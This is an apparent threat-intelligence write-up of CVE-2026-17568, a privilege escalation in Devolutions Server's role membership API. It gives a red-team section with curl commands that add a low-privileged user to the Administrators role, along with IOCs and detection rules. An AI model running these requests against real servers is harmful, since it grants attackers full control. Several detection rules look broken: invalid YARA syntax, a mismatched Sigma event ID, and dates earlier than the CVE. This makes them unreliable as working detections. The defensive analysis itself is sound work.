CVE-2026-17568

Executive Summary

CVE-2026-17568 describes an improper access control vulnerability in Devolutions Server’s role membership management endpoint. An authenticated non-administrative user who holds the user-group membership management permission can craft a specially designed API request to escalate their privileges to a full administrator. This affects Devolutions Server versions 2026.2.4.0 through 2026.2.12.0, as well as all versions 2026.1.23.0 and earlier. The vulnerability does not affect any open‑source packages and is not related to NPM, PyPI, Go, or Ruby ecosystems. No public exploit code or proof‑of‑concept has been released at the time of this analysis, but the risk is critical due to the potential for complete compromise of the Devolutions Server instance.

Supply Chain & Package Security

This vulnerability is not associated with any open-source supply chain package. It solely affects a proprietary commercial product, Devolutions Server.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 7.2 (High) – Based on the following vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Threat Level: High – Because any authenticated user with a relatively low‑level permission can gain full control over the entire Devolutions Server.

Deep Dive & Mechanics

The vulnerability resides in the role membership management API endpoint. Devolutions Server implements a custom authorization check that incorrectly validates whether the requesting user has the right to modify administrative role assignments. The intended design allows users with the User‑Group Membership Management permission to add/remove members from non‑administrative groups. However, the endpoint fails to enforce separation of privileges, allowing the same operation to be performed against built‑in administrative roles (e.g., “Administrators” group).

Attack Flow:

1. The attacker obtains valid credentials for a non‑administrative account that possesses the User‑Group Membership Management permission (assigned through a custom role or the default “User Manager” role).
2. The attacker crafts an HTTP PUT or POST request to the vulnerable endpoint, typically under /api/v1/roles/{roleId}/members or similar, targeting the administrative role ID.
3. The API grants the request and adds the attacker’s user ID to the “Administrators” group.
4. The attacker logs out and logs back in (or requests a new session token) to obtain full administrator privileges.
5. Existing audit logs may show the API call but are often reviewed after the fact.

Why it works: The server’s authorization logic only checks for the existence of the User‑Group Membership Management permission, not the scope of that permission. It fails to verify that the target role is not a high‑privilege system role.

Vulnerable vs. Patched Code

No patched code is publicly available. Based on typical fixes for such CWE‑284 issues, the expected patch would include additional server‑side checks, such as:

• Vulnerable (pseudocode):

  function addMember(roleId, userId) {
    if (!hasPermission(req.user, 'user-group-membership-management')) {
      return 403;
    }
    // Missing: check if roleId is a system/administrator role
    db.addMember(roleId, userId);
    return 200;
  }
  

• Patched (expected):

  function addMember(roleId, userId) {
    if (!hasPermission(req.user, 'user-group-membership-management')) {
      return 403;
    }
    const role = db.getRole(roleId);
    if (role.isSystemRole || role.name === 'Administrators') {
      return 403; // Strictly forbid administrative role manipulation
    }
    db.addMember(roleId, userId);
    return 200;
  }
  

The patch would likely be released by Devolutions in a future update (e.g., 2026.2.13.0). Until then, the vulnerability remains unpatched.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A test instance of Devolutions Server (vulnerable version, e.g., 2026.2.4.0).
• Credentials for a non‑administrative user with the User‑Group Membership Management permission (e.g., user_manager).
• A tool like Burp Suite, curl, or Postman.

Steps:

1. Authenticate and obtain a session token:

   curl -k -X POST https://target/devolutions/api/login \
     -H "Content-Type: application/json" \
     -d '{"username":"user_manager","password":"password123"}'
   

2. Identify the role ID of the “Administrators” group (e.g., via a GET request to /api/v1/roles – the attacker may have read access to role names).
3. Craft the API call to add yourself (or another controlled user) to the administrators group:

   curl -k -X PUT https://target/devolutions/api/v1/roles/{adminRoleId}/members \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     -d '{"userId": 123}'
   

4. Verify privilege escalation by logging in with the targeted user account and checking that it now has administrator rights.

Expected Result: The user is added to the Administrators group and gains full control.

Blue Team (Detection & Response)

Detection Steps:

• Monitor API logs for modifications to administrator‑role membership from non‑administrator accounts.
• Alert on any PUT or POST to endpoints matching /api/v1/roles/*/members where the user lacks the administrator role.
• Use host‑based monitoring to detect unexpected privilege assignments.

Response:

• Immediately revoke the session and disable the affected user account.
• Review all recent role membership changes and roll back any unauthorized modifications.
• Apply vendor patches as soon as they become available.

Indicators of Compromise (IOCs)

• Network: Unusual API requests to /api/v1/roles/{roleId}/members from low‑privileged accounts, especially when targeting role IDs typically associated with system roles (e.g., role ID 1 or 2).
• Logs: Audit log entries showing addition of a user to the “Administrators” or equivalent group, where the requesting user did not already hold the administrator role.
• User Account: A user account that previously held only the User‑Group Membership Management permission now appears in the “Administrators” group.
• System: Newly created admin sessions originating from previously non‑admin users.

Example log artifact:

METHOD: PUT
URI: /devolutions/api/v1/roles/1/members
SOURCE_IP: 10.10.10.5
USER: user_manager (non-admin)
STATUS: 200
RESPONSE: {"success":true}

Detection Engineering

YARA Rule (Web Server Logs)

rule detect_devolutions_role_escalation {
    meta:
        description = "Detects API requests targeting admin role membership from non-admin accounts"
        author = "Valters IT"
        reference = "CVE-2026-17568"
        date = "2025-03-25"
    strings:
        $api_endpoint = /\/api\/v1\/roles\/\d+\/members/
        $http_method = "PUT" or "POST"
    condition:
        $api_endpoint and for any of ($http_method) : (
            #net
        )
}

Sigma Rule (Windows Event Log / Application Log)

title: Devolutions Server Privilege Escalation via Role Membership API
id: d5c8e1a0-3f7b-4c2e-9b1a-8e6f4d2c1a0b
status: experimental
description: Detects API requests to add a user to an administrative role from a non-admin account
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-17568
author: Valters IT
date: 2025/03/25
tags:
  - attack.persistence
  - attack.t1068
logsource:
  category: application
  product: devolutions_server
detection:
  selection:
    EventID: 4624  # Example: Logon event (adjust for actual audit event ID)
    TargetRole: 'Administrators'
    SourceUser|re: '^(?!.*admin).*$'  # Source user is not an admin
  condition: selection
falsepositives:
  - Legitimate reassignment of admin roles by authorized administrators
level: high

Suricata Rule (Network traffic)

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-17568 Devolutions Server Role Escalation Attempt";
    flow:established,to_server;
    content:"PUT"; http_method;
    content:"/api/v1/roles/"; http_uri;
    content:"/members"; distance:0; within:10;
    pcre:"/^\d{1,3}$/R";  # Match numeric role ID in URI
    sid:1000001;
    rev:1;
    reference:cve,2026-17568;
    classtype:attempted-administrator;
)

Remediation & Mitigation

Immediate Actions (No Patch Yet)

1. Restrict the User‑Group Membership Management permission: Remove this permission from all non‑administrator roles until a patch is available. This will break some legitimate workflows but prevents exploitation.
2. Enable strict auditing: Log all API calls to the role membership endpoint and review them daily.
3. Network segmentation: Place the Devolutions Server behind a firewall and limit API access to trusted IPs.

Long‑Term Fix

• Apply the vendor patch as soon as Devolutions releases it (expected version 2026.2.13.0 or later).
• After patching, rebuild the permission model to enforce least privilege.

Workarounds If Patching Is Impossible

• Temporary disable the role membership management feature by modifying the web application’s configuration (e.g., removing the endpoint from reverse‑proxy).
• Use an external identity provider (e.g., LDAP) and enforce role assignments through that upstream system.

Valters IT
Senior DevSecOps & CTI Analyst